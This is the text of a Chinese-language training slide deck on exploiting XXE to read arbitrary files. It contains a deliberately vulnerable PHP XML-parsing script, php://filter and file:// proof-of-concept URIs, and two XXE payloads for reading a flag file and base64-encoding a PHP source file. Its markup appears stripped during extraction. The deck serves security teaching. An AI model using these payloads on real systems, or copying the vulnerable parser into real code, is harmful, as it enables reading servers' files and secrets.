Web攻防视频教程第四节 XXE漏洞利用 - 任意文件读取-01.pdf

Web攻防训练营

XXE漏洞利用-任意文件读取

课程内容

1.测试代码介绍3.读取文本文档

2.php中测试POC4.读取PHP文件

01

测试代码介绍

测试代码介绍

?php

$xml=file_get_contents(php://input);

$data=simplexml_load_string($xml);

echopre;

print_r($data);//注释掉该语句即为无回显的情况

?

02

php中测试POC

php中测试POC

file:///path/to/file.ext

http://url/file.ext

php://filter/read=convert.base64-encode/resource=conf.php

03

读取文本文档

有回显的XXE利用

Payload:

?xmlversion=1.0encoding=utf-8?

!DOCTYPEANY[

!ENTITYxxeSYSTEMfile:///c://test/flag.txt]

valuexxe;/value

04

读取PHP文件

读取PHP文件

直接利用file协议读取PHP文件会出现错误，那么需要使用base64编码来进行读取。

Payload:

?xmlversion=1.0encoding=utf-8?

!DOCTYPEANY[

!ENTITYxxeSYSTEMphp://filter/read=convert.base64-encode/resource=test.php

]

valuexxe;/value

总结

1.测试代码介绍3.读取文本文档

2.php中测试POC4.读取PHP文件

再见

欢迎关注Web安全训练营课程